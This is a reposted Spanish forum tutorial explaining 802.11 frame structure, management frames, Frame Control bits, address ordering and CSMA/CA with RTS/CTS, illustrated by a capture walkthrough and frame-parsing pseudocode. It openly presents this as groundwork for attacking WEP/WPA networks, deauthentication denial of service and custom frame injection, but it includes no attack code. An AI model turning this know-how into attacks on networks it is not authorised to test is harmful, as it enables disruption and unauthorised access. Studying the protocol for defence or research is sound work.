Taller de Vic_Thor: PROTOCOLO 802.11. TALLER WiFi

Iniciado por ChimoC, 17 Julio 2009, 11:37 AM

0 Miembros y 2 Visitantes están viendo este tema.

ChimoC

Buenas:

Como el tema me ha parecido muy interesante e instructivo, aquí os dejo un copy/paste de un nuevo taller de Vic_Thor.

El link del post original lo podeis ver aquí.

El copy/paste es:

PROTOCOLO 802.11. TALLER WiFi.

Durante estas últimas semanas este foro ha estado ha estado "animado", también he recibido muchos mensajes privados  acerca del comportamiento las redes WiFi protegidas (WEP/WPA) y me he dado cuenta , que si bien mas o menos todos  conocemos "la práctica" de cómo atacar redes inalámbricas, la práctica totalidad de las preguntas que me  habéis hecho se resuelven con un BUEN CONOCIMIENTO teórico de cómo es el comportamiento de las mismas.

Es decir, muchos de nosotros "sabemos" usar herramientas del tipo aricrack-aireplay-airodump-etc---  pero pocos tienen claro por qué funcionan y por qué resulta (a veces sencillo, a veces no tanto) obtener una  clave wep o wpa.

Por eso, he tirado de mis apuntes (aquellos con los que sufren mis queridos alumnos) y les he dado una aspecto   algo informal, espero que el resultado sea bueno.

Voy a seguir la misma iniciativa de nuestro "querido" Taller TCP/IP esperando que este nuevo se convierta en  un Taller WiFi.

Este hilo permanecerá cerrado, los comentarios y dudas las resolveremos en otro (como en  el Taller TCP/IP)

Si prestáis atención a todo lo que voy a ir comentado y cuando tengáis una duda repasáis los contenidos que vamos a  esbozar seguro que además de "usar" esas herramientas, comprenderéis cómo funcionan y cómo podemos  modificarlas para realizar ataques "mas refinados" o por pura "curiosidad"

Deberíamos comenzar por la capa física, esto es, señales, antenas, bandas de radiofrecuencia, dispositivos,  tarjetas... Ufff, un sin fin de conceptos y conocimientos que (para lo que se trata en este momento) diremos que  "sobra".

Por tanto, nos hemos de creer dos cosas para saltarnos la capa física de un plumazo:
    1.- Un
Punto de Acceso es un aparato que permite conectar estaciones inalámbricas entre sí o  incluso estaciones inalámbricas con estaciones por cable.

También un Punto de acceso puede comunicarse con otros puntos de acceso extendiendo la zona inalámbrica o creando un  perímetro inalámbrico mas grande, es lo que se conoce con el nombre de WDS.

2.- Una estación inalámbrica es un dispositivo que puede comunicarse con un punto de acceso y por  consiguiente, con el resto de estaciones inalámbricas o con estaciones con cable.

También una estación inalámbrica puede comunicarse directamente con otra sin necesidad de punto de acceso, es lo que  conocemos como comunicación ad-hoc.[/list]En nuestro estudio nos va a interesar mas "cómo acceden al  medio" tanto las estaciones como los puntos de acceso, esto es, lo que se llama Capa 2 en los modelos  de comunicaciones.

Si entendemos bien la capa 2 en las comunicaciones inalámbricas, entenderemos, comprenderemos y seremos  capaces de escenificar los ataques contra las vulnerabilidades en redes inalámbricas, incluidos los ataques a  cifrados y otros como la denegación de servicios, hombre en medio, despliegue de puntos de acceso ilícitos o  reinyección de tráfico en la red.

El tráfico en la capa 2 se le llama tramas (frames en inglés) no es que sea muy importante saber el nombrecito...  pero  mejor llamar a cada cosa por su nombre.

Un Punto de Acceso tiene:

    *   Un nombre al que llamamos SSID (o essid)
    *   Una Dirección MAC que llamamos BSSID
    *   Un modo de distribución: Infraestructura, Repetidor, Cliente y algún otro mas.
    *   Seguridad y/o cifrado: WEP, WAP, WPA2, sin seguridad (OPEN)
    *   Clientes: Las estaciones inalámbricas que se conectan a ellos
    *   Enrutamiento: Capa2 y también los hay de Capa3 (no todos)
    *   Una fuerza de la señal aplicada a cada paquete
    *   Un alcance que depende de factores como la antena, el entorno, obstáculos, etc.
Un  punto de acceso, envía y recibe:
    *   Tramas de Administración: Beacons, Probes y Request
    *   Tramas de Datos: Cifrados o en "texto plano"
    *   Tramas de Control: RTS, ACK's y CTS
Esto anterior no refleja "todo" lo que un punto de acceso  tiene, envía y recibe...  pero nos acerca bastante a la realidad de los mismos.

Es importante señalar que la forma de comunicarse en redes inalámbricas (WiFi) está estandarizado, de  ahí tenemos el archiconocidos 802.11, junto con sus "variantes" a,b,c,d,e,g,h,i,n etc... cuando  encontremos documentos o información relativa a 802.11b u 802.11e, etc debemos de asumir que la comunicación está  "ordenada", "regulada", "estandarizada", "definida" mediante esos estándares.

No obstante, existen fabricantes que además de "soportar" el estándar , también implementan cambios y  modificaciones de "cosecha propia", es decir, pequeñas o grandes variaciones sobre el protocolo de  comunicaciones que dicho fabricante añade.

Ni que decir tiene, que esos "añadidos" al ser particulares de un determinado fabricante, podrán sólo usarse  entre equipamientos del mismo fabricante.

Esos añadidos (que a la postre deberían convertirse en mejoras) pueden ser un obstáculo cuando entran en escena otro  hardware de diferente fabricante, sin embargo, y a menos que el administrador de la red inalámbrica así lo decida,  siempre serán compatibles con los estandarizados.

Está muy claro, pero con un ejemplo quedará todo cristalino (si es que hay algo que aclarar):

    Ya es conocido que existe un tipo de tramas "
especial" que al enviarlas de forma "mal  intencionada" los clientes que están asociados a un punto de acceso se "desconectan" del mismo, es lo que  llamamos disociación.

¿Por qué es esto posible? Porque las tramas del tipo disociación que un punto de acceso envía a un  cliente o a todos no están protegidas ni cifradas de forma alguna. Esto ocurre siempre, tanto si usamos WEP-WPA como  si no.

CISCO, incorpora un "añadido" especial a este tipo de tramas...  el llamado CCX que  no es otra cosa que un control de integridad de las tramas de disociación (y no sólo de ellas) de forma que el  ataque de disociación no sería efectivo.[/list]Pero claro, como decíamos antes, sólo si usamos hardware de CISCO en  todo el perímetro de la red inalámbrica sería factible implementar dicha característica.

Aunque son documentos "muy técnicos" (y de eso precisamente quiero huir en esta explicación) quien lo desee  puede consultar libremente los modelos para 802.11, 802.11a, 802.11b, ... En::  http://standards.ieee.org/getieee802/

Después de esta breve introducción vamos a desmenuzar cómo es una trama de datos en 802.11.



Explicamos (de derecha a izquierda)

FCS es un campo de 4 bytes que se añade como control de Secuencia, no debemos  preocuparnos de ello por ahora.

Cuerpo. Es el contenido de la comunicación (los datos a transmitir), si no usamos seguridad  alguna lo podremos ver "en texto plano" como si tal cosa, si es un icmp, un intercambio TCP, etc...  Si está  cifrado mediante WEP o WPA pues "de momento" no tiene sentido lo que "vemos".

Cabecera MAC: Lo primero que nos llama la atención es que su tamaño "puede variar".

Variar? Por qué?

Porque dependiendo del tipo de mensaje y de otras funcionalidades (por ejemplo si se utiliza QoS o no) puede  ser de un tamaño u otro, lo que siempre existe en la cabecera MAC es esto:



Y cuando son 26 ó 30 ó 32??

Cuando concurra alguna de estas circunstancias:
    *
QoS (Calidad de Servicio) protocolo 802.11e está habilitado

* La comunicación se realiza entre puntos de acceso.[/list]
Si utilizamos QoS, se añaden 2 bytes para el control de las colas QoS después de la tercera dirección  MAC, o si lo prefieres, antes del número de secuencia

Si la comunicación es "entre" puntos de acceso, se añade una cuarta dirección MAC (la del otro punto  de acceso) inmediatamente después del número de secuencia, como ya sabemos una dirección MAC tiene 6 bytes.

Por eso podemos tener cabeceras MAC de varias "longitudes", por ejemplo:

24 bytes -> Comunicación entre cliente y punto de acceso, sin QoS
26 Bytes -> Comunicación entre cliente y punto de acceso, con QoS
30 bytes  -> Comunicación entre puntos de acceso, sin QoS
32 bytes -> Comunicación entre  puntos de acceso, con QoS

También hay que hacer una salvedad en cuanto a las 3 direcciones MAC que hablaba...  en el ejemplo puse  origen-destino-bssid, no es así realmente... Todo dependerá de si se trata de una trama de administración,  de datos o de la dirección del tráfico.

Es decir, la dirección MAC1 (los bytes 4-5-6-7-8-9-10) pueden representar el bssid, la dirección MAC origen  e  incluso la dirección MAC destino. Lo mismo ocurre con las otras dos direcciones MAC, MAC2 y MAC3.

Todavía es pronto para "comprender" bien este "baile" de direcciones MAC, de momento nos quedamos que  MAC1, MAC2 y MAC3 representan las direcciones origen, destino y bssid de la comunicación PERO NO PRECISAMENTE  Y SIEMPRE EN ESE ORDEN!!!!!

Llegados a  este punto, Cómo se sabe si se trata de una trama de control, de administración o de  datos???

Por los dos primeros bytes de la cabecera MAC, esto es, el FC o Frame Control

Al ser un campo de dos bytes contiene 16 bits de información correspondiente al tipo de trama, al subtipo, a si la  comunicación ve "hacia" el punto de acceso, si va "hacia" el cliente, si está fragmentada, si hay mas datos, si se  trata de una trama retransmitida, y otros...  como si los datos van o no cifrados, si se utiliza "power management"  (administración de energía)... .

Tenemos que leer esos bits de derecha a izquierda, por ejemplo, supongamos que el campo frame control  contiene el valor 08 41 en hexadecimal...  en binario son:


0 = 0000
8 = 1000
4 = 0100
1 = 0001


Los interpretaremos de "derecha a izquierda" y por parejas, esto es,  leemos los bits de derecha a  izquierda:

08 = 0000 1000



41 = 0100 0001



Observa que los bits están "rotados" de forma que el "mas significativo" es el que está mas a la izquierda,  vamos que no hay que interpretarlo (según el ejemplo) así:



Ahora pasemos a explicar cada campo (al menos los mas significativos)

Versión del Protocolo: bit 0 y 1

Serán siempre cero. Otros valores significarán que no se corresponde con el estándar (por ejemplo una versión propia  de un fabricante)

Tipo de Trama (bits 2 y 3)

Identifican el tipo de trama, es decir, si es de administración, de control o de datos.

Subtipo (bits 4,5,6 y 7)

Es una descripción mas detallada del tipo.

ToDS (bit 8 )

Este bit está a uno cuando la trama viaja hacia el sistema de distribución, por ejemplo  si la trama la envía un punto de acceso a otro punto de acceso o si una estación envía la trama al punto de acceso.

FromDS (bit 9)

Este bit está a uno si la trama viaja desde el sistema de distribución, por ejemplo  cuando un punto de acceso envía tramas a las estaciones. También está a uno cuando la trama viaja de un punto de  acceso a otro.

WEP (bit 14)

Este bit se activa (a uno) si los datos están cifrados, en caso contrario los datos viajan en texto plano.

El resto de bits (por ahora) no tienen mucho significado en esta explicación, eso sí, conviene aclarar o ampliar los  valores de tipo, subtipo, ToDS y FromDS, unas tablas ayudarán a ello.





Seguro que sino estás pensando que esto es un rollo, al menos pensarás que de momento es fácil...vamos a plantear  tres  preguntas (con trampa, claro, de lo contrario no tiene gracia)

1.- Según lo expuesto... Si nos encontramos con una trama y los bits 8 y 9 de FC están a cero...¿podemos  asegurar que se trata de una comunicación ad-hoc?

R: Si consultamos la tabla que os puse antes, es tajante la respuesta es SI. Pero no es oro todo lo que  reluce...La respuesta correcta es NO.

Si bit 8 y bit 9 son cero, efectivamente puede ser una comunicación ad-hoc siempre y cuando la trama sea de DATOS!!!

Si, por ejemplo, la trama es de administración (por ejemplo un beacon o señalización) bit 8 y bit 9 son cero y por  supuesto...no es una comunicación entre estaciones.

2.- Otra...Es posible encontrarnos con una trama en la que la cabecera MAC tiene menos de 24 bytes???

R: Al igual que antes, si repasamos lo dicho, la respuesta es NO, puesto que len la cabecera MAC exite un FC  de 2 bytes, una duración de 2 bytes. al menos 3 direcciones MAC de 6 bytes cada una (18 en total) y un número de  secuencia/fragmento de otros 2 bytes, o sea, un mínimo de 24 bytes...pero la respuesta correcta debería haber sido  SI!!!!

SI, por ejemplo una trama de control con subtipo Clear-to-Send (permitido para transmitir) tiene únicamente una  longitud de 10 bytes: 2 para FC, 2 para la duración y 6 para la MAC del punto de acceso quien la envía.

3.- Al analizar una trama descubrimos que el bit 14 (Wep) está activado...¿Es realmente una trama cifrada con  WEP?

R: NO. Ciertamente los datos (el cuerpo de la trama) estarán cifrados, pero no tiene que ser obligatoriamente  con WEP. Bien puede ser WPA o WPA2, este bit indica que los datos están protegidos, pero no te dejes engañar por el  nombre del campo, el bit wep a uno indica cifrado, pero no necesariamente un cifrado WEP.

Estas tres preguntas aunque no te lo parezca por ahora, son importantes...Primero porque si nos decidimos a lanzar  "un ataque" contra una red WiFi, dependiendo de lo que queramos conseguir habrá que realizarlo sobre tramas  de datos, administración o control y en el caso de atacar un cifrado, pues contra el mismo...

Ahora que ya somos capaces de "identificar" los diferentes tipos de tramas, vamos a representar "la  coreografía" de cómo funciona todo el mecanismo:

Primero conocer los "estados" en los que nos podemos encontrar:

Un cliente puede estar:
    * No asociado ni autenticasdo: Es decir, ni tan siquiera intentó "conectarse" a la red inalámbrica
    * Autenticado: El cliente desea participar de la red pero todavía no finalizó  la asociación por completo.
    * Asociado: El cliente se asoció y al proporcionar una clave correcta "disfruta" de los recursos de la red.


Como ves en la figura, un cliente asociado puede dejar de estarlo y permanecer autenticado.

Normalmente son los puntos de acceso quienes envían tramas de disociación y des-autenticación.

Son los clientes (las estaciones) los que envían tramas de autenticación, asociación y/o reasociación, también de  disociación cuando abandona la red.

La reasociación es un caso especial, es aquel en el que una estación estaba asociada y recibió una trama de  disociación...entonces queda en estado autenticado y reinicia la asociación mediante una solicitud de reasociación.

Resumiendo:

Un cliente asociado (completó todo el proceso de incorporación a la red) puede ser desasociado o des-autenticado por  el punto de acceso

Un cliente autenticado puede ser des-autenticado por el punto de acceso.

Un cliente que fue desautenticado podrá solicitar una reasociación

Un cliente no asociado ni autenticado, primero solicitará autenticación y luego asociación.

Un cliente autenticado solicitará asociación o reasociación dependiendo del estado anterior al momento de la  autenticación.

Por supuesto que un cliente también puede abandonar la red sin necesidad que sea el punto de acceso quien lo haga, a  los efectos, sería igual que lo descrito anteriormente.




===============================================



ESTRUCTURA DE UN FRAME CONTROL

Un punto de acceso envía o recibe:

Beacons o señalizaciones Normalmente lo hace a intervalos regulares y sirve para que los  clientes "lo vean" y puedan conectarse al mismo.

Se puede "restringir" el envío de beacons, si este es el caso, el cliente debe conocer el essid  (nombre) para poder realizar los pasos de asociación y autenticación.. Es el mecanismo por el que las estaciones  pueden enumerar todos los puntos de acceso disponibles.

El formato típico de una trama beacon es esta:



* También puede existir un cuarto campo de MAC después del número de secuencia para el caso de comunicación entre  puntos de acceso.

El FC de un beacon es:



El cuerpo de un beacon contiene información del tipo: Marcas de tiempo, intervalo de señalización, SSID, Tasa de  transmisión soportada (1Mb, 11Mb, 22Mb, etc), Frecuencia, y otros como DS, CF, IBSS, TIM, País, patrones y  parámetros FH.

En una ampliación posterior hablaremos de ello (para los curiosos)

Probes: Es un intercambio de mensajes que típicamente ocurre entre el punto de acceso  y las estaciones, los mas habituales son: Request y Response (Solicitud de Sondeo y Respuesta de Sondeo)

El formato típico de una trama Probe es esta:



* También puede existir un cuarto campo de MAC después del número de secuencia para el caso de comunicación entre  puntos de acceso.

El FC de un Probe Request es:



El cuerpo de un mensaje de tipo Probe Request contiene el SSID, Tasas de datos soportados y otros identificadores  que puedan resultar interesantes.



El cuerpo de un mensaje de tipo Probe Response contiene básicamente los mismos elementos que el de un beacon  mas los identificadores solicitados mediante el probe request que se solicitó.

Autenticación:

La autenticación implica una serie de intercambios entre las estaciones y el punto de acceso. No siempre se  realiza de la misma manera, esto es porque pueden existir otros sistemas de autenticación (tipo RADIUS) que también  pueden estar presentes.

Por lo general, una trama de Autenticación es esta:



* También puede existir un cuarto campo de MAC después del número de secuencia para el caso de comunicación entre  puntos de acceso.

El cuerpo del mensaje de una trama de autenticación depende de cada contexto, de los algoritmos de cifrado si los  hay, de los protocolos, etc... Entre ellos también existe un número de secuencia para la autenticación en curso y  códigos de estado y respuesta.

Un ejemplo típico es:
    Cuerpo del mensaje de autenticación:

    2 bytes para el algoritmo y/o tipo: por ejemplo 00 00 para Sistemas Open
    2 bytes para el número de secuencia, p.e. 01 00 (nº secuencia 1)
    2 bytes para definir el estado o razón de la autenticación, p.e. 00 00 (satisfactorio)
El FC de una solicitud de autenticación es:



Una vez se hayan intercambiado toda la serie de mensajes entre el punto de acceso y las estaciones, el punto de  acceso enviará otra trama de autenticación al cliente con idéntica estructura en su FC pero en el cuerpo de la trama  incluirá:

Número de secuencia de autenticación recibida + 1 (si se envió 0100 se recibirá 0200)

Estado o razón de la autenticación: por ejemplo 00 00 si resultó satisfactoria.

Desautenticación

Este tipo de trama es de "una sola vía" y normalmente lo envía un punto de acceso a una estación o a todas  (broadcast) con el objeto de des-autenticar a los clientes autenticados. y/o asociados. En cualquiera de los casos,  las estaciones clientes deberán repetir todo el proceso para "volver" a la red.

Por lo general, una trama de Des-Autenticación es esta:



MAC1 es la dirección MAC del equipo que esta siendo desautenticado
MAC2

El cuerpo de la trama contiene entre otros datos, información de las razones de la desautenticación

El FC de una des-autenticación es:



Asociación

Consiste en un intercambio de tramas de administración con subtipo Request y Response una vez que la  autenticación resultó correcta.



En el cuerpo de la trama se incluye información diversa acerca de las capacidades del dispositivo, tasas de  transmisión  (Rate) soportados, QoS, el ESSID, y opcionalmente razones y estados de la solicitud de la asociación.

El FC de una Solicitud de Asociación es:



Así mismo, la respuesta de la asociación es esta:



En la Cabecera MAC de las tramas de Asociación, las MAC's de cada dispositivo "bailan" dependiendo de si es una  Solicitud o Respuesta, en cualquier caso siguen la forma definida: Destino – Origen – BSSID

Relativo a la Asociación, existen otros dos formatos de trama relacionados, estas son Reasociación y Disociación.

Un Punto de Acceso puede enviar tramas de disociación a una determinada estación o a todas (broadcast). El resultado  final serán clientes desconectados.

Un cliente o estación, puede enviar tramas de reasociación tras recibir una disociación y generalmente son también  de un  sólo sentido. También un cliente puede enviar tramas de reasociación si ya está conectado a un punto de  acceso y desea asociarse con otro.

Reasociación

El Formato trama para una reasociación es:



Observa que en este caso tenemos 4 MAC's, de forma que:

MAC1 es la dirección del cliente
MAC2 es la del Punto de acesso con el que se desea reasociar
MAC3 es la dirección del punto de Acceso con el se está actualmente asociado
MAC4 Es la dirección del BSSID

El FC para una Solicitud de reasociación es:



El FC para una Respuesta de reasociación es:



Disociación

El Formato trama para una disociación es::



En este caso sólo se utilizan dos direcciones MAC, una para la dirección de la estación que se desea disociar (o  broadcast para todas) y la otra para la dirección MAC del Punto de Acceso.

En el cuerpo de la trama se incluyen razones y/o estados relevantes a la disociación

El FC de una disociación es:



Resumen: según lo visto hasta ahora, las tramas de Administración y sus correspondientes FC serían:




===========================================



ANÁLISIS DE CAPTURA DE TRÁFICO 802.11

Conviene practicar con algún esnifer para afianzar lo explicado, un buen candidato es WireShark (usa el que  prefieras) a continuación te pongo una serie de pantallas que ilustran todo lo explicado.

Se han eliminado bastantes paquetes de las capturas y aunque no están todas las tramas que hemos estudiado, la  mayoría sí.

El punto de Acceso es un Cisco Linksys y la estación la tarjeta identificada como D-Link:

En la primera pantalla "observamos" la secuencia de lo sucedido:


    *   El Punto de Acceso envía sus beacons (paq. 1)
    *   El cliente envía Probe Request (paq. 2)
    *   El punto de Acceso responde con sus Probe Response (paq. 3)
    *   El cliente inicia la autenticación (paq. 4)
    *   Envía un ACK (trama de control) paq. 5
    *   El punto de acceso responde a la autenticación (Paq. 6)
    *   Y También envía una trama de control de asentimiento ACK (paq. 7)
    *   El cliente inicia la asociación Solicitud junto con el ACK (paq. 8 y  9)
    *   El Punto de acceso envía una respuesta de autenticación y el ACK (paq. 10 y 11)
    *   Se inicia el intercambio de datos (paq. 12 y 13)
    *   El cliente se desautentica (paq. 14)
Obviamente hay muchos otros intercambios, ack's, tramas de control del tipo RTS y CTS, pero básicamente ese es el  proceso, lo vemos:


Escenario General



Paquete 1. Beacon



Paquete 2. Probe Request



Paquete 3. Probe Response



Paquete 4. Autenticación



Paquete 5. Trama de Control. ACK



Paquete 6. Autenticación



Paquete 7. Trama de Control ACK



Paquete 8. Asociación Request



Paquete 9. Trama de Control. ACK



Paquete 10. Asociación Response.



Paquete 11. Trama de Control. ACK



Paquete 12. Trama de Datos



Paquete 13. Trama de Datos



Paquete 14. Desautenticación



Para los que queráis observar con mas detalle estos mismos paquetes capturados os dejo un enlace para que os podáis  [size=18]descargar [/size]el archivo .cap del mismo: http://www.megaupload.com/?d=Y32ZK1G3

Ale!! a estudiar ;)



========================================

LA DANZA DE MAC'S Y TIPOS DE TRAMA

No puedo terminar esta parte sin comentar algo que es muy importante a la hora de analizar el tráfico de tramas de  datos.

Como dije al comienzo de este documento, cuando existen datos a transmitir, o mejor dicho, cuando el tipo de trama  en la FC es de datos (10) las direcciones MAC "bailan" dependiendo de si están activos o no los bits toDS y FromDS,  te pongo una imagen que vale mas que mil palabras:

Y un ejemplo general...

Un cliente envía un ping al punto de de acceso, por tanto toDS está a uno (1) y FromDs estará a cero  (0)
    En la cabecera MAC de la trama las direcciones MAC1, Mac2 y Mac3 serían:

    MAC1 = BSSID (la MAC del punto de acceso)
    MAC2 = Origen (la MAC del cliente)
    MAC3 = Destino (la MAC del punto de acceso
Ahora el punto de acceso responde...FromDS = 1 y ToDS=0
    MAC1= Destino (la MAC del cliente)
    MAC2= BSSID (la MAC del punto de acceso)
    MAC3= Origen (la MAC del punto de acceso)
Observa que en este caso no es el consabido destino-origen-bssid,  realmente esto sólo se cumple cuando ToDS y FromDS están a cero (comunicación ad-hoc o por ejemplo, tramas de  administración)

También puedes pensar que para qué 3 MAC's?? si la comunicación es entre dos...claro, cuando la  comunicación es entre punto de acceso y cliente (exclusivamente) pues es como "raro", pero imagina que la  comunicación es entre dos clientes inalámbricos...por ejemplo STA-01 hace un ping a STA-99

STA-01 enviará una trama de datos hacia el punto de acceso pero con destino a STA-99, bits toDS a 1 y FromDS a 0
    MAC1 = BSSID (mac del punto de acceso)
    MAC2 = Origen (mac de STA-01)
    MAC3 = Destino (mac de STA-99)
El punto de acceso enviará los datos a STA-99 con bit toDS a 0 y FromDS a 1
    MAC1 = Destino (Mac de STA-99)
    MAC2 = BSSID (Mac del punto de acceso)
    MAC3 = Origen (Mac de STA-01)
STA-99 recibe el paquete y responde al ping...lo enviará hacia el sistema de distribución con destino a STA-01 (bit  FromDS =0 y toDS=1)
    MAC1= BSSID (mac del punto de acceso)
    MAC2 = Origen (MAC de STA-99)
    MAC3 = Destino (MAC de STA-01)
Por último, el punto de acceso envía el paquete a STA-01 con bits FormDS=1 y toDS=0
    MAC1 = Destino (Mac de STA-01)
    MAC2 = BSSID (Mac del punto de acceso)
    MAC3 = Origen (Mac de STA-99)
No olvides esto!!! Será importante a la hora de "colocar" bien las MAC's cuando  usemos herramientas del tipo aircrack-ng o las nuestras propias.

Para saber si una trama viaja desde o hacia el sistema de distribución (y así colocar las mac's en su orden  correcto) sólo tendremos que comprobar el byte 1 de Frame Control, imagina que capturas una trama de datos que es  algo así:

08 42 2c 00 00 00 1d ... ... .

Lo que tendremos que hacer es "analizar" el segundo byte de la FrameControl,  por ejemplo, para saber si FromDS está  activado:

Supongamos que tenemos un array llamado paquete[] que tiene todos y cada uno de los valores de la trama, de tal  modo:

paquete[0]=0x08
paquete[1]=0x42
paquete[2]=0x2c
y así hasta el final...


El que nos interesa es paquete[1], si hacemos un AND con 0x01 ó con 0x02 obtendremos 1 ó  2 dependiendo del estado de toDS y de FromDS:

If paquete[1] AND 0x02 = 0x02 entonces es un paquete FromDS activado
If paquete[1] AND 0x01 = 0x01 entonces es un paquete toDS activado


También podríamos comprobarlo así:

Estado= paquete[1] AND 0x03

Switch (Estado) {

Case 0: es un paquete con FromDS y TodS a cero, probablemente de una
Una estación a otra estación (modo as-hoc)

Case 1: Es un paquete con FromDS a cero y ToDS a uno, probablemente de
Un cliente al punto de acceso

Case 2: Es un paquete con FromDS a uno y toDS a cero, probablemente de
 Un punto de acceso a un cliente

Case 3: Es un paquete con FromDs a uno y ToDS a uno, probablemente de
Un punto de acceso a otro punto de acceso (modo wds)
}


Así mismo, si deseáramos averiguar si se trata de una trama de datos, podríamos hacer algo asi:

If paquete[0] AND 0x0c = 0x08 se trata de un paquete de datos
If paquete[0] AND 0x0c = 0x00 se trata de una trama de administración
If paquete[0] AND 0x0c = 0x04 se trata de un trama de control


Observa que ahora se analizó el byte cero del paquete correspondiente.

Para saber si un paquete es QoS o no, también comprobaremos el byte cero.

If paquete[0] AND 0x80 = 0x80 se trata de un paquete QoS

Esto viene a cuento porque en el momento que estemos preparados, vamos a crear pequeños "programas" para poder  analizar el tráfico y/o enviar tramas "a nuestro gusto".


=================================

Seguimos con el Taller... .

Ya sí...os prometía "descanso", continuar con WEP, etc... pero... Como quiero que empecemos a "tocar bola"  cuanto antes vamos a seguir y no precisamente con lo "prometido" (bueno casi sí)

En este post vamos a "sentar" los principios de "los desafíos" que han de sortear las estaciones WiFi  para acceder al medio.

Gracias a esta información vamos a entender algunos de los "ataques" de Denegación de Servicio (DoS).

Lo que voy a contar es algo que pocas veces se toma en cuenta y que desgraciadamente, ni siquiera se comenta en  otros sitios (incluidos muy prestigiosos libros y documentos) o si se hace, lo explican de forma muy somera y con  poca claridad.

En las comunicaciones por cable (léase Ethernet que a todos nos suena mas) es razonable pensar que  cuando una trama se transmite el receptor la recibe correctamente.

Vale, sabemos que no siempre es así, que pueden existir "colisiones" sobretodo cuando usamos Hub's en  lugar de switches, aún con switches podemos tener colisiones en la red, especialmente lo que se denomina colisiones  tardías, difíciles de diagnosticar.

Una colisión no es otra cosa que el envío simultáneo de información por dos o mas estaciones en la red.  Cuando eso ocurre, y volviendo al ejemplo de la red de cable Ethernet, los paquetes se destruyen y se hace  "un silencio" para que se vuelva a retransmitir. De esto se ocupa un protocolo llamado CSMA/CD que si  recordáis el Taller TCP/IP, era lo que llamaba el "policía de la red", que pone orden en el tráfico,  etc...

Las comunicaciones por Radio Frecuencia no están libres de colisiones, ni mucho menos, sobretodo estas que  llamamos WiFi.

Además, el protocolo 802.11 trabaja de una forma "especial", 802.11 incorpora un mecanismo de  "asentimiento positivo" de forma que TODAS las tramas enviadas deben "confirmadas" con un  ACK positivo por el receptor, de otra forma la trama se considera perdida.

Bueno, veremos mas adelante (muuuchooo mas) pero ya os lo adelanto, que hay un caso especial: QoS.

Ciertamente me sorprendió que en el hilo del tkiptun:

http://www.wadalbertia.org/phpBB2/viewtopic.php?t=5556&start=8&postdays=0&postorder=asc&highlight=

Cuando dije:

CitarOtra cosa!!! que me olvidé al hablar de "las ventajas" de usar QoS en este tipo de ataques...

Si está habilitado QoS, se pueden inyectar unos 15 tramas por cada paquete "descifrado"  

Nadie preguntó por qué con QoS se pueden enviar hasta 15 paquetes y sin QoS solamente  uno!!!! Claro, que a lo mejor ya lo sabíais y por eso no se preguntó nada... Bueno, para los que no lo supieran:

La razón de ello viene por esto que comentamos de los ACK positivos...determinadas comunicaciones QoS  usan una "ráfaga" y precisamente por ello, podemos enviar 15 tramas sin necesidad de recibir un  ACK por cada una de ellas, bastará un ACK positivo para las 15...bueno, que me estoy saliendo del tema...

El caso es que cada trama de datos enviada debe ser respondida con su correspondiente ACK



Y las preguntas con "trampa" de rigor...

1.- Y Si se "pierde" la primera trama transmitida??
2.- Y si lo que se pierde es el ACK???


Con "perder" me refiero a interferencias, problemas de comunicación, etc... vamos que no llegan al destino...

Pues en estos dos casos, la trama debe ser retransmitida (acabamos de descubrir el significado de uno de los  bits de la FC que no comentamos nada en absoluto, el bit 11 (Reintentar o retransmitir) se activa cuando una  trama lo está siendo.



Pero volvamos a lo que nos ocupa... las colisiones.

Ethernet cuenta con CSMA/CD para el tratamiento de colisiones, 802.11 cuenta con CSMA/CA.

Sin  embargo no es suficiente por sí sólo...y te pongo un ejemplo (una imagen)



Equipo 1 y equipo 2 están "al alcance"
Equipo 2 y Equipo 3, también lo están

Sin embargo, equipo 3 no se puede comunicar directamente con Equipo 1 porque "no están al alcance"

Además, es perfectamente posible que equipo 1 y equipo 3 transmitan datos al mismo tiempo, y eso...en la zona  amarilla es una colisión.

Esto es el equivalente de las colisiones tardías en Ethernet, aquí los llamamos "Nodos ocultos", es decir,  estaciones que pertenecen al medio pero que están tan alejadas unas de otras que la comunicación directa entre  ellas no es posible.

Por si fuese poco, la mayoría de las tarjetas inalámbricas operan en "half-duplex", esto es, no pueden  enviar y recibir al mismo tiempo (realmente son los transceptores de las tarjetas)

Si juntamos todo esto...el equipo 1 y el equipo 3 pueden "no percatarse" de que existe colisión!!!

¿Cómo solucionar esto?

Pues con algo de lo que seguro que has oído hablar (o seguro que leer o ver en las configuraciones de tarjetas y  puntos de acceso): Enviar tramas ce control RTS y CTS.

RTS es Request to Send, también hay quien lo llama ready to send o si lo prefieres preparado para  trnasmitir
CTS es Clear to Send o Listo para transmitir o permiso para transmirir

Ambos aseguran que el canal "está limpio y preparado para transmitir" de tal forma que otras estaciones "se callan"  hasta que el medio esté libre para poder enviar sus tramas.

Luego la imagen correcta de acceso sería:



Y si existiese un "nodo oculto" como en el ejemplo anterior, quedaría así:



Como ves en la figura anterior, el nodo oculto recibe un CTS de aquél equipo que sí es accesible y "se calla".

Ni que decir tiene que todo esto tiene una temporización (Timing) y un "umbral"  (threshold).

El timing se puede "controlar" mediante ajustes DCF, PCF o HCF que no son otra cosa que cómo va  a funcionar el protocolo CSMA/CA.

El umbral también se puede ajustar en cada tarjeta, así por ejemplo las tramas "cortas" pueden ser enviadas  inmediatamente mientras que las "largas" utilizarán RTS y CTS antes de ser enviadas.

¿Cortas y largas? ¿cómo de cortas o cómo de largas?

Pues como ya he dicho, el umbral. Aquellas que sean mas cortas que el umbral se transmitirán inmediatamente y las  que sean mas largas que el umbral, usarán los métodos RTS y CTS.

DCF es el modo "por defecto" del estándar 802.11 y funciona igual que ethernet: Escuchar antes de  hablar...y si hay silencio...se envía. Si hay colisión, se entrega un tiempo aleatorio de espera a cada estación y  vuelta a empezar.

PCF utiliza lo que se llama "Puntos de Coordinación" que son los propios puntos de acceso y difiere en  el método anterior en que permite emitir a las estaciones tras un corto periodo de tiempo exista o no colisiones.

HCF Permite a las estaciones "balancear" el tráfico en función de la mejor calidad de los servicios,  encola los paquetes dependiendo del tipo de aplicación...es.. QoS.

Tanto RTS/CTS. Como el Timming, como el umbral existen para garantizar una transmisión sin interrupciones y con el  mínimo de sobrecarga.

Y  si piensas que aquí está todo dicho...pues falta otra cosa: NAV.

NAV es un Vector de Localización de Red, lo utiliza CSMA/CA y la pareja CTS/RTS...pero  también se inicializa con el campo Duración de la Cabecera MAC:

Recordemos como era una cabecera MAC de una trama de datos:



Como ves, existen 2 bytes después del Frame Control que representan la duración.

La duración de que???

Pues el tiempo estimado que debe estar el canal disponible para trasmitir la trama.

